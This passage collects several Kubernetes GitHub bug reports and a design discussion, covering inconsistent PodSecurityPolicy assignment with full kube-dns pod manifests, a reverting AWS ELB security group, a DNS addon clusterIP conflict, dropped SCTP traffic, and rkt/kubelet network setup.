3\r           httpget:\r             path: /readiness\r             port: 8081\r             scheme: http\r           initialdelayseconds: 3\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         resources:\r           limits:\r             memory: 170mi\r           requests:\r             cpu: 100m\r             memory: 70mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /kube-dns-config\r           name: kube-dns-config\r       - args:\r         - --v=2\r         - --logtostderr\r         - --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r         - --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r         image: registry.opensource.zalan.do/teapot/k8s-dns-sidecar:1.14.5\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /metrics\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: sidecar\r         ports:\r         - containerport: 10054\r           name: metrics\r           protocol: tcp\r         resources:\r           requests:\r             cpu: 10m\r             memory: 20mi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: default\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       serviceaccount: system\r       serviceaccountname: system\r       terminationgraceperiodseconds: 30\r       tolerations:\r       - key: criticaladdonsonly\r         operator: exists\r       volumes:\r       - configmap:\r           defaultmode: 420\r           name: kube-dns\r           optional: true\r         name: kube-dns-config\r status:\r   availablereplicas: 2\r   conditions:\r   - lasttransitiontime: 2017-11-03t14:10:11z\r     lastupdatetime: 2017-11-03t14:10:11z\r     message: deployment has minimum availability.\r     reason: minimumreplicasavailable\r     status: \ true\ \r     type: available\r   observedgeneration: 17\r   readyreplicas: 2\r   replicas: 2\r   updatedreplicas: 2\r    \r \r pod with \ privileged\  psp:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-852700396\ ,\ uid\ :\ 36223ca1-a8ec-11e7-aeb9-0ad0063b7726\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 321138825\ }}\r     kubernetes.io/psp: privileged\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: 2017-11-03t13:58:03z\r   generatename: kube-dns-852700396-\r   labels:\r     application: kube-dns\r     pod-template-hash: \ 852700396\ \r     version: v1.14.5\r   name: kube-dns-852700396-d0vgz\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: kube-dns-852700396\r     uid: 36223ca1-a8ec-11e7-aeb9-0ad0063b7726\r   resourceversion: \ 322935355\ \r   selflink: /api/v1/namespaces/kube-system/pods/kube-dns-852700396-d0vgz\r   uid: 02a1abcd-c09f-11e7-ba90-02ff7a5bbc7c\r spec:\r   containers:\r   - args:\r     - -v=2\r     - -logtostderr\r     - -configdir=/etc/k8s/dns/dnsmasq-nanny\r     - -restartdnsmasq=true\r     - --\r     - -k\r     - --cache-size=1000\r     - --log-facility=-\r     - --server=/cluster.local/127.0.0.1 10053\r     - --server=/in-addr.arpa/127.0.0.1 10053\r     - --server=/ip6.arpa/127.0.0.1 10053\r     image: registry.opensource.zalan.do/teapot/k8s-dns-dnsmasq-nanny:1.14.5\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /healthcheck/dnsmasq\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: dnsmasq\r     ports:\r     - containerport: 53\r       name: dns\r       protocol: udp\r     - containerport: 53\r       name: dns-tcp\r       protocol: tcp\r     resources:\r       requests:\r         cpu: 150m\r         memory: 20mi\r     securitycontext:\r       privileged: false\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /etc/k8s/dns/dnsmasq-nanny\r       name: kube-dns-config\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: system-token-8w9k9\r       readonly: true\r   - args:\r     - --domain=cluster.local.\r     - --dns-port=10053\r     - --config-dir=/kube-dns-config\r     - --v=2\r     env:\r     - name: prometheus_port\r       value: \ 10055\ \r     image: registry.opensource.zalan.do/teapot/k8s-dns-kube-dns:1.14.5\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /healthcheck/kubedns\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: kubedns\r     ports:\r     - containerport: 10053\r       name: dns-local\r       protocol: udp\r     - containerport: 10053\r       name: dns-tcp-local\r       protocol: tcp\r     - containerport: 10055\r       name: metrics\r       protocol: tcp\r     readinessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /readiness\r         port: 8081\r         scheme: http\r       initialdelayseconds: 3\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     resources:\r       limits:\r         memory: 170mi\r       requests:\r         cpu: 100m\r         memory: 70mi\r     securitycontext:\r       privileged: false\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /kube-dns-config\r       name: kube-dns-config\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: system-token-8w9k9\r       readonly: true\r   - args:\r     - --v=2\r     - --logtostderr\r     - --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r     - --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r     image: registry.opensource.zalan.do/teapot/k8s-dns-sidecar:1.14.5\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /metrics\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: sidecar\r     ports:\r     - containerport: 10054\r       name: metrics\r       protocol: tcp\r     resources:\r       requests:\r         cpu: 10m\r         memory: 20mi\r     securitycontext:\r       privileged: false\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: system-token-8w9k9\r       readonly: true\r   dnspolicy: default\r   nodename: ip-172-31-6-157.eu-central-1.compute.internal\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: system\r   serviceaccountname: system\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - key: criticaladdonsonly\r     operator: exists\r   volumes:\r   - configmap:\r       defaultmode: 420\r       name: kube-dns\r       optional: true\r     name: kube-dns-config\r   - name: system-token-8w9k9\r     secret:\r       defaultmode: 420\r       secretname: system-token-8w9k9\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-03t13:58:03z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-03t13:58:33z\r     status: \ true\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-03t13:58:03z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://3a9a65405df40256da35ca0515e58a22a802f651ab8c0d17124042913c78453b\r     image: registry.opensource.zalan.do/teapot/k8s-dns-dnsmasq-nanny:1.14.5\r     imageid: docker-pullable://registry.opensource.zalan.do/teapot/k8s-dns-dnsmasq-nanny@sha256:bd1764fed413eea950842c951f266fae84723c0894d402a3c86f56cc89124b1d\r     laststate: {}\r     name: dnsmasq\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2017-11-03t13:58:20z\r   - containerid: docker://420c0b649e44e477d85ebfa59966f64aefd17afa00fd110d2d0e860afaba6a04\r     image: registry.opensource.zalan.do/teapot/k8s-dns-kube-dns:1.14.5\r     imageid: docker-pullable://registry.opensource.zalan.do/teapot/k8s-dns-kube-dns@sha256:9c7906c0222ad6541d24a18a0faf3b920ddf66136f45acd2788e1a2612e62331\r     laststate: {}\r     name: kubedns\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2017-11-03t13:58:26z\r   - containerid: docker://efd41127de5bc82870607a1962d6cd6309e32f6db974b475eed9352161161c5c\r     image: registry.opensource.zalan.do/teapot/k8s-dns-sidecar:1.14.5\r     imageid: docker-pullable://registry.opensource.zalan.do/teapot/k8s-dns-sidecar@sha256:4581bf85bd1acf6120256bb5923ec209c0a8cfb0cbe68e2c2397b30a30f3d98c\r     laststate: {}\r     name: sidecar\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2017-11-03t13:58:28z\r   hostip: 172.31.6.157\r   phase: running\r   podip: 10.2.7.6\r   qosclass: burstable\r   starttime: 2017-11-03t13:58:03z\r    \r \r pod with \ restricted\  psp:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-852700396\ ,\ uid\ :\ 36223ca1-a8ec-11e7-aeb9-0ad0063b7726\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 322935357\ }}\r     kubernetes.io/psp: restricted\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: 2017-11-03t14:10:00z\r   generatename: kube-dns-852700396-\r   labels:\r     application: kube-dns\r     pod-template-hash: \ 852700396\ \r     version: v1.14.5\r   name: kube-dns-852700396-ms4m5\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: kube-dns-852700396\r     uid: 36223ca1-a8ec-11e7-aeb9-0ad0063b7726\r   resourceversion: \ 322941109\ \r   selflink: /api/v1/namespaces/kube-system/pods/kube-dns-852700396-ms4m5\r   uid: ae1d7410-c0a0-11e7-ba90-02ff7a5bbc7c\r spec:\r   containers:\r   - args:\r     - -v=2\r     - -logtostderr\r     - -configdir=/etc/k8s/dns/dnsmasq-nanny\r     - -restartdnsmasq=true\r     - --\r     - -k\r     - --cache-size=1000\r     - --log-facility=-\r     - --server=/cluster.local/127.0.0.1 10053\r     - --server=/in-addr.arpa/127.0.0.1 10053\r     - --server=/ip6.arpa/127.0.0.1 10053\r     image: registry.opensource.zalan.do/teapot/k8s-dns-dnsmasq-nanny:1.14.5\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /healthcheck/dnsmasq\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: dnsmasq\r     ports:\r     - containerport: 53\r       name: dns\r       protocol: udp\r     - containerport: 53\r       name: dns-tcp\r       protocol: tcp\r     resources:\r       requests:\r         cpu: 150m\r         memory: 20mi\r     securitycontext:\r       privileged: false\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /etc/k8s/dns/dnsmasq-nanny\r       name: kube-dns-config\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: system-token-8w9k9\r       readonly: true\r   - args:\r     - --domain=cluster.local.\r     - --dns-port=10053\r     - --config-dir=/kube-dns-config\r     - --v=2\r     env:\r     - name: prometheus_port\r       value: \ 10055\ \r     image: registry.opensource.zalan.do/teapot/k8s-dns-kube-dns:1.14.5\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /healthcheck/kubedns\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: kubedns\r     ports:\r     - containerport: 10053\r       name: dns-local\r       protocol: udp\r     - containerport: 10053\r       name: dns-tcp-local\r       protocol: tcp\r     - containerport: 10055\r       name: metrics\r       protocol: tcp\r     readinessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /readiness\r         port: 8081\r         scheme: http\r       initialdelayseconds: 3\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     resources:\r       limits:\r         memory: 170mi\r       requests:\r         cpu: 100m\r         memory: 70mi\r     securitycontext:\r       privileged: false\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /kube-dns-config\r       name: kube-dns-config\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: system-token-8w9k9\r       readonly: true\r   - args:\r     - --v=2\r     - --logtostderr\r     - --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r     - --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r     image: registry.opensource.zalan.do/teapot/k8s-dns-sidecar:1.14.5\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 5\r       httpget:\r         path: /metrics\r         port: 10054\r         scheme: http\r       initialdelayseconds: 60\r       periodseconds: 10\r       successthreshold: 1\r       timeoutseconds: 5\r     name: sidecar\r     ports:\r     - containerport: 10054\r       name: metrics\r       protocol: tcp\r     resources:\r       requests:\r         cpu: 10m\r         memory: 20mi\r     securitycontext:\r       privileged: false\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: system-token-8w9k9\r       readonly: true\r   dnspolicy: default\r   nodename: ip-172-31-18-204.eu-central-1.compute.internal\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: system\r   serviceaccountname: system\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - key: criticaladdonsonly\r     operator: exists\r   volumes:\r   - configmap:\r       defaultmode: 420\r       name: kube-dns\r       optional: true\r     name: kube-dns-config\r   - name: system-token-8w9k9\r     secret:\r       defaultmode: 420\r       secretname: system-token-8w9k9\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-03t14:10:01z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-03t14:10:11z\r     status: \ true\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2017-11-03t14:10:01z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://da954ceaa04802241d0e13c57ef36b1e6b0f5415457ca50828c962cd1702fb05\r     image: registry.opensource.zalan.do/teapot/k8s-dns-dnsmasq-nanny:1.14.5\r     imageid: docker-pullable://registry.opensource.zalan.do/teapot/k8s-dns-dnsmasq-nanny@sha256:bd1764fed413eea950842c951f266fae84723c0894d402a3c86f56cc89124b1d\r     laststate: {}\r     name: dnsmasq\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2017-11-03t14:10:06z\r   - containerid: docker://7dc5bd63165cae687c2658effb7646449132d47d8b81d6441cf4a3f1fc0ffc71\r     image: registry.opensource.zalan.do/teapot/k8s-dns-kube-dns:1.14.5\r     imageid: docker-pullable://registry.opensource.zalan.do/teapot/k8s-dns-kube-dns@sha256:9c7906c0222ad6541d24a18a0faf3b920ddf66136f45acd2788e1a2612e62331\r     laststate: {}\r     name: kubedns\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2017-11-03t14:10:08z\r   - containerid: docker://d034bb7d28087c1cf7aefb64a53203740a5b196d87f24911dae07070b081a634\r     image: registry.opensource.zalan.do/teapot/k8s-dns-sidecar:1.14.5\r     imageid: docker-pullable://registry.opensource.zalan.do/teapot/k8s-dns-sidecar@sha256:4581bf85bd1acf6120256bb5923ec209c0a8cfb0cbe68e2c2397b30a30f3d98c\r     laststate: {}\r     name: sidecar\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2017-11-03t14:10:09z\r   hostip: 172.31.18.204\r   phase: running\r   podip: 10.2.42.6\r   qosclass: burstable\r   starttime: 2017-11-03t14:10:01z\r    \r \r we are using the following psps:\r \r    \r apiversion: v1\r items:\r - apiversion: extensions/v1beta1\r   kind: podsecuritypolicy\r   metadata:\r     annotations:\r       kubectl.kubernetes.io/last-applied-configuration: |\r         {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ podsecuritypolicy\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ privileged\ ,\ namespace\ :\ \ },\ spec\ :{\ fsgroup\ :{\ rule\ :\ runasany\ },\ hostipc\ :true,\ hostnetwork\ :true,\ hostpid\ :true,\ hostports\ : {\ max\ :10000,\ min\ :50} ,\ privileged\ :true,\ runasuser\ :{\ rule\ :\ runasany\ },\ selinux\ :{\ rule\ :\ runasany\ },\ supplementalgroups\ :{\ rule\ :\ runasany\ },\ volumes\ : \  \  }}\r     creationtimestamp: 2017-02-08t14:07:10z\r     name: privileged\r     namespace: \ \ \r     resourceversion: \ 289927776\ \r     selflink: /apis/extensions/v1beta1/podsecuritypolicies/privileged\r     uid: e23092b0-ee07-11e6-a219-06b9269593b3\r   spec:\r     fsgroup:\r       rule: runasany\r     hostipc: true\r     hostnetwork: true\r     hostpid: true\r     hostports:\r     - max: 10000\r       min: 50\r     privileged: true\r     runasuser:\r       rule: runasany\r     selinux:\r       rule: runasany\r     supplementalgroups:\r       rule: runasany\r     volumes:\r     - ' '\r - apiversion: extensions/v1beta1\r   kind: podsecuritypolicy\r   metadata:\r     annotations:\r       kubectl.kubernetes.io/last-applied-configuration: |\r         {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ podsecuritypolicy\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ restricted\ ,\ namespace\ :\ \ },\ spec\ :{\ fsgroup\ :{\ rule\ :\ runasany\ },\ runasuser\ :{\ rule\ :\ runasany\ },\ selinux\ :{\ rule\ :\ runasany\ },\ supplementalgroups\ :{\ rule\ :\ runasany\ },\ volumes\ : \ emptydir\ ,\ awselasticblockstore\ ,\ secret\ ,\ persistentvolumeclaim\ ,\ downwardapi\ ,\ configmap\  }}\r     creationtimestamp: 2017-02-08t14:07:10z\r     name: restricted\r     namespace: \ \ \r     resourceversion: \ 111524827\ \r     selflink: /apis/extensions/v1beta1/podsecuritypolicies/restricted\r     uid: e2368df2-ee07-11e6-a219-06b9269593b3\r   spec:\r     fsgroup:\r       rule: runasany\r     runasuser:\r       rule: runasany\r     selinux:\r       rule: runasany\r     supplementalgroups:\r       rule: runasany\r     volumes:\r     - emptydir\r     - awselasticblockstore\r     - secret\r     - persistentvolumeclaim\r     - downwardapi\r     - configmap\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r    \r \r the full cluster configuration with all manifests can be found here: https://github.com/zalando-incubator/kubernetes-on-aws\r \r   what you expected to happen  :\r \r i expect pods created from the same pod template to get assigned the same psp.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i'm not sure how to reproduce this. we see it in all our clusters it's just not always the same deployments/daemonsets where the pods has different psps. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7+coreos.0\ , gitcommit:\ 2aa47c8ec16177de41d4c8cad63c1ba0b7bd6d78\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t22:25:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1520.8.0\r version_id=1520.8.0\r build_id=2017-10-26-0342\r pretty_name=\ container linux by coreos 1520.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :  linux ip-172-31-4-11.eu-central-1.compute.internal 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux \r - install tools:  our cluster configuration  https://github.com/zalando-incubator/kubernetes-on-aws \r - others:\r

security group rule will change back to 0.0.0.0 by k8s after i changed it.  aws elb \r \r  k8s 1.9\r  kubespray 2.4\r  aws\r \r \r steps:\r 1 i created a service with loadbalancer type\r 2 i find the security group of elb is open to worldwide 0.0.0.0\r 3 i changed the security group rule to my company ip xx.xx.xx.xx/8\r 4 after some time, i checked the security group rule, it is 0.0.0.0 again.\r 5 from cloud trail, it showed aws role  for aws cluster  changed it automatically.\r \r expect result:\r i want to change and keep security group rule to xx.xx.xx.xx/8\r \r real result:\r it always change back to 0.0.0.0.\r \r note:\r for my other k8s cluster, it do not change it for some time.\r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i have a cluster running on version 1.11.3 and using kube-addon-manager to reconcile addons.\r i faced an issue while i quickly removing kibe-dns addon which binds clusterip: 10.254.0.10 and adding coredns addon which is going to bing same address. \r so, i did it and got this message from kube-addon-manager:\r    \r the service \ coredns\  is invalid: spec.clusterip: invalid value: \ 10.254.0.10\ : provided ip is already allocated\r    \r   what you expected to happen  :\r coredns deployed, kubedns pruned and removed\r   how to reproduce it  as minimally and precisely as possible   :\r 1. store files with 2 conflicted addons near addons directory.\r 2. copy first one  kubedns for example \r    \r root@ctl01:/etc/kubernetes/addons  cp -r ../dns .\r    \r 3. apply it  or wait for addon manager to apply \r 4. remove old addon files and add new\r    \r rm -r dns && cp -r ../coredns .\r    \r 5. apply with --prune=true  or wait for addon manager \r \r   anything else we need to know?  :\r 1. workaround - remove by hand conflicted service  e.g  kubectl delete svc   and exec _kubectl apply --prune_\r 2. this works vice versa  if coredns successfully deployed and u want to use kubedns again \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r root@ctl01:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.3-2+c0bd03cdec793a\ , gitcommit:\ c0bd03cdec793a88fc7bf1b85501bb35e81295e8\ , gittreestate:\ clean\ , builddate:\ 2018-09-14t15:30:13z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.3-2+c0bd03cdec793a\ , gitcommit:\ c0bd03cdec793a88fc7bf1b85501bb35e81295e8\ , gittreestate:\ clean\ , builddate:\ 2018-09-14t15:30:13z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r virtual nodes via libvirt\r - os  e.g. from /etc/os-release :\r root@ctl01:~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux ctl01 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r salt formulas.\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r sctp pod doesnot receive sctp packets.\r \r   what you expected to happen  :\r sctp server inside pod should receive and response to the init packets\r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pod,sctp-server, with ncat listening on sctp port 1000. \r 2. create service, sctp-service, to export port 1000. \r 3. start sctp connection by using ncat from external host to the sctp-service port 1000.\r \r   anything else we need to know?  :\r tested with centos and it works fine.\r \r tcpdump on the worker node shows sctp packet get dropped with  abort  message.\r    \r worker trace        ===> worker doesnot forward to container\r vagrant@kube-worker:~$ sudo tcpdump -vvv -ni eth1 port 30487\r \r tcpdump: listening on eth1, link-type en10mb  ethernet , capture size 262144 bytes\r \r 18:46:58.446716 ip  tos 0x2,ect 0 , ttl 64, id 0, offset 0, flags  df , proto sctp  132 , length 92 \r     10.10.10.1.47606 > 10.10.10.11.30487: sctp\r \t1   init   init tag: 3344689091   rwnd: 106496   os: 10   mis: 65535   init tsn: 3907000884 \r 18:46:58.446783 ip  tos 0x2,ect 0 , ttl 64, id 0, offset 0, flags  df , proto sctp  132 , length 36 \r     10.10.10.11.30487 > 10.10.10.1.47606: sctp\r \t1   abort \r 18:47:01.501873 ip  tos 0x2,ect 0 , ttl 64, id 0, offset 0, flags  df , proto sctp  132 , length 92 \r     10.10.10.1.47606 > 10.10.10.11.30487: sctp\r \t1   init   init tag: 3344689091   rwnd: 106496   os: 10   mis: 65535   init tsn: 3907000884 \r 18:47:01.502081 ip  tos 0x2,ect 0 , ttl 64, id 0, offset 0, flags  df , proto sctp  132 , length 36 \r     10.10.10.11.30487 > 10.10.10.1.47606: sctp\r \t1   abort \r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.3-1+fee411aca93f0e\ , gitcommit:\ fee411aca93f0e786995cc125cf8f9783484f958\ , gittreestate:\ clean\ , builddate:\ 2018-12-04t06:49:44z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.3-1+fee411aca93f0e\ , gitcommit:\ fee411aca93f0e786995cc125cf8f9783484f958\ , gittreestate:\ clean\ , builddate:\ 2018-12-04t06:45:24z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r     vagrant   \r - os  e.g. from /etc/os-release :\r    \r cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r uname -a\r linux kube-master 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r configuration:\r    \r cat sctp-service.yml\r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: sctp-server\r   labels:\r     app: sctp-server-app\r spec:\r   containers:\r   - name: sctp-server\r     image: <private_registry>/tester:0.3.10\r     imagepullpolicy: never\r     command:  \ ncat\  \r     args:  \ --sctp\ , \ -k\ , \ -l\ , \ -p\ , \ 1000\ , \ -c\ , 'i=0; while true; do read line; i=$ expr $i + 1 ;  echo \ req id: $i pong: $line\ ; done' \r     ports:\r     - protocol: sctp\r       containerport: 1000\r       hostport: 1000\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: sctp-service\r spec:\r   type: nodeport\r   selector:\r     app: sctp-server-app\r   ports:\r   - protocol: sctp\r     port: 1000\r     targetport: 1000\r    \r <!-- do not edit below this line -->\r 

there are a number of small pieces of discussion scattered across this and the rkt repository related to how to handle networking setup; i'd like to consolidate this discussion here, talk about all the issues and options i know about, and hopefully figure out what the best option is.  discussion refs: https://github.com/coreos/rkt/issues/2249 https://github.com/kubernetes/kubernetes/issues/26081 https://github.com/kubernetes/kubernetes/issues/25404 issuecomment-218402169 https://github.com/kubernetes/kubernetes/pull/24688 https://github.com/kubernetes/kubernetes/issues/21923 and quite possibly several more i missed    introduction  kubernetes and rkt both make use of cni to configure container network namespaces. each has independent means of configuring and executing plugins. kubernetes also has a number of features that relate somewhat to the network namespace, such as availability of the pod's ip in a number of locations  status, downwards api, etc .  until recently, rkt's handled network configuration on its own with no regard for kubernetes' network logic. as of  25062, it was changed such that kubelet handles network setup and configuration for rkt. unfortunately, both of these solutions have problems.  below, the problems with each approach are listed. finally, some paths forwards are suggested.    issues - the podip should be available to the kubelet prior to applications running for a number of features to work   - downwards api  both volume and environment variables  rely on this   -  /etc/hosts  file, created by kubelet, relies on this  alternately, rkt should create this correctly  - the network plugin configuration used by the docker container runtime should work, in general, for rkt with no changes  including filepath   https://github.com/coreos/rkt/issues/2249  - the solution should work with any rkt stage1  https://github.com/kubernetes/kubernetes/issues/26081     solutions 1. rkt manages the network 2. kubelet manages the network 3. hybrid of 1 & 2     rkt manages networking  this option has a few problems: 1. the podip is not available to the kubelet until after the application is finalized  including mounts and environment variables   https://github.com/coreos/rkt/issues/2223 and https://github.com/coreos/rkt/issues/2375  2. the network plugin configuration path is not configurable  https://github.com/coreos/rkt/pull/2312  3. duplication of logic/code between kubelet and rkt  more or less depending on who creates  